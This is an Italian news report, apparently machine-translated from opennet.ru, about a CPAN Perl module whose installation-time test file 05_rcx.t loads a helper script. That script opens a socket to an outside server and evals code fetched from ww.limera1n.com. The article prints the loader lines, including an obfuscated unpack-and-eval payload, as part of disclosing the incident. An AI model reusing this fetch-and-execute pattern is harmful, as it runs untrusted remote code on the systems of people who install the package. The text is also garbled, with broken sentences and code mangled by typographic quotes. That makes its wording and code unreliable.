Nel pacchetto Perl distribuito tramite il catalogo CPAN , destinato al caricamento automatico dei moduli CPAN al volo, codice malevolo. La sua inserzione trovata 05_rcx.t
, fornito dal 2011. È interessante notare che le domande sul caricamento di codice sospetto sono emerse già nel
2016.
L'attività malevola consiste nel tentativo di caricare ed eseguire codice da un server esterno (http://r.cx:1/) durante l'esecuzione del set di test avviato durante l'installazione del modulo. Si presume che il codice inizialmente caricato dal server esterno non fosse malevolo, ma ora la richiesta è reindirizzata al dominio ww.limera1n.com, che fornisce la sua porzione di codice per l'esecuzione. Per organizzare il caricamento nel file
viene utilizzato il seguente codice:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`; ../contrib/RCX.pl
, il cui contenuto si riduce alla seguente stringa:
use lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.:1"}; codice offuscato perlobfuscator.com
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88:1'; print ;
eval unpack u=q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Dopo la decompressione, viene eseguito il seguente :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;eval or return warn$@ while$b;1
Attualmente, il pacchetto problematico è stato rimosso dal repository (Perl Authors Upload Server), e l'account dell'autore del modulo è stato bloccato. Tuttavia, il modulo rimane nell'archivio MetaCPAN e può essere installato direttamente da MetaCPAN utilizzando alcuni strumenti, come cpanminus. , che il pacchetto non è stato ampiamente distribuito.
È interessante notare che a discutere e l'autore del modulo, che ha smentito le informazioni secondo cui il codice dannoso sarebbe stato inserito dopo la violazione del suo sito "r.cx", ha spiegato che si divertiva semplicemente e che perlobfuscator.com non è stato utilizzato per nascondere nulla, ma per ridurre la dimensione del codice e semplificarne la copia tramite gli appunti. La scelta del nome della funzione "botstrap" è stata giustificata dal fatto che questa parola "suona come bot ed è più breve di bootstrap". L'autore del modulo ha anche assicurato che le manipolazioni rilevate non compiono azioni dannose, ma dimostrano solo il caricamento e l'esecuzione del codice tramite TCP.
Fonte: opennet.ru
